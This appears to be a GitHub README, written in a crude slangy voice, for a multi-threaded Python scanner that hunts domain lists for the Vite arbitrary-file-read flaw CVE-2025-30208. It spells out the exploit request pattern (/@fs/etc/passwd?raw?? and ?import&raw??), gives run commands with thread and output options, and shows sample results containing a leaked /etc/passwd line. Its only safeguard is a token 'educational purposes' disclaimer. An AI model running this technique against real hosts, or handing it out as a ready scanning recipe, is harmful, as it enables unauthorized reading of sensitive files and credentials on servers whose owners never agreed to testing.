CVE-2025-30208-ViteVulnScanner

Yo, this is a dope multi-threaded Python script by keklick1337 to hunt down domains vulnerable to CVE-2025-30208 in Vite. Basically, it checks if you can snag random files via the @fs endpoint with ?raw?? or ?import&raw?? — think /etc/passwd leaks and other juicy shit. It’s got some smart false-positive filtering so you don’t waste time on crap, plus options to tweak how it spits out the results.

What’s It Got?

Multi-threading: Hammers through domain lists fast as fuck.
Protocol Flex: Pick HTTP, HTTPS, or let it rip on both.
False-Positive Killer:
- Checks a bullshit path to see if the server’s just trolling with 200 OK and HTML.
- Ditches responses with <head> and <body> unless it smells legit.
Vuln Vibes: Spots sourcemappingurl or export default to confirm the good stuff.
Output Choices:
- Text files (results_good.txt, results_maybe_good.txt, results_bad.txt).
- JSONL for the nerds who love details.
- Toss in URLs with -u if you’re into that.
Console Spam: Logs everything so you know what’s up.

What You Need

Python 3.6+ (older shit won’t cut it).
Stuff to install:
- requests
- urllib3

How to Get It Running

Grab it from GitHub:

git clone https://github.com/keklick1337/CVE-2025-30208-ViteVulnScanner.git
cd CVE-2025-30208-ViteVulnScanner

Install the dependencies (if you ain’t got ‘em already):
```
pip install requests urllib3
```
Set up your files:
- path_list.txt: Paths to check, one per line (e.g., /etc/passwd).
- domains.txt: Domains to hit, one per line (e.g., example.com).

How to Use It

Fire it up like this:

python3 CVE-2025-30208.py <domains_file> [options]

Options, Bro

<domains_file>: Your domains list (no file, no scan, duh).
-t, --threads: How many threads to unleash (default: 10).
-p, --protocol: Force http or https, or skip it for both.
-u, --urls: Slap vulnerable URLs into the output.
-o, --output: Base name for files (default: results).
-f, --format: txt for split files or jsonl for one big-ass file (default: txt).

Examples

Basic run, chill settings:
```
python3 CVE-2025-30208.py domains.txt
```

Go hard with 20 threads, URLs, and JSONL:

python3 CVE-2025-30208.py domains.txt -t 20 -u -f jsonl

5 threads, HTTPS only, text vibes:

python3 CVE-2025-30208.py domains.txt -t 5 -p https

What You Get

Text Mode (`-f txt`)

results_good.txt: Shit that’s definitely fucked (has sourcemappingurl or export default).
results_maybe_good.txt: Could be vuln, but no smoking gun.
results_bad.txt: Clean, no worries.
Add -u and URLs get tacked on with a tab (\t).

Sample `results_good.txt` with `-u`:

example.com    https://example.com/@fs/etc/passwd?raw??

JSONL Mode (`-f jsonl`)

Files: results_good.jsonl, results_maybe_good.jsonl, results_bad.jsonl.
Each line’s a JSON with:
- domain: What you scanned.
- status: VULNERABLE, MAYBE VULNERABLE, or BAD.
- url (if -u): Where it’s fucked.
- response: What the server coughed up.

Sample `results_good.jsonl`:

{"domain": "example.com", "status": "VULNERABLE", "url": "https://example.com/@fs/etc/passwd?raw??", "response": "root:x:0:0:root:/root:/bin/bash"}

How It Rolls

False-Positive Check:
- Hits a fake path (/1e4c911a3fd2244596863ddbfa6f3600/7970621079b41658dcd6c205640b3602/fake).
- If it’s 200 OK with <head> and <body>, it’s a nope — server’s just being a dick.
Vuln Hunt:
- Tries every path in path_list.txt with @fs/<path>?raw?? and ?import&raw??.
- 200 OK?
  - HTML with <head> and <body>? Skip that shit.
  - sourcemappingurl or export default? Boom, GOOD.
  - Just 200? MAYBE_GOOD.
- No 200? BAD.

Heads-Up

SSL warnings are off (urllib3.disable_warnings()), so it doesn’t bitch about certs. Careful out there.
Tweak path_list.txt for your targets — sensitive files are the real deal.
False-positive filter assumes HTML means safe. If that’s bullshit for your setup, change it.

Disclaimer

Listen up: this shit’s for educational purposes only, fam. I ain’t responsible if you fuck something up, get caught, or piss someone off with this. Use it to learn, not to be a dickhead. All risks are on you, nahuy — I’m just here dropping code.

Who’s Behind It

GitHub: keklick1337 — that’s me, yo.

Wanna Help?

Got ideas? Found a bug? Hit me up with issues or pull requests. More ways to kill false positives or dope features? Let’s make this beast even sicker.

CVE-2025-30208-ViteVulnScanner

Most Popular

CVE-2025-30208-ViteVulnScanner

What’s It Got?

What You Need

How to Get It Running

How to Use It

Options, Bro

Examples

What You Get

Text Mode (-f txt)

Sample results_good.txt with -u:

JSONL Mode (-f jsonl)

Sample results_good.jsonl:

How It Rolls

Heads-Up

Disclaimer

Who’s Behind It

Wanna Help?

Text Mode (`-f txt`)

Sample `results_good.txt` with `-u`:

JSONL Mode (`-f jsonl`)

Sample `results_good.jsonl`: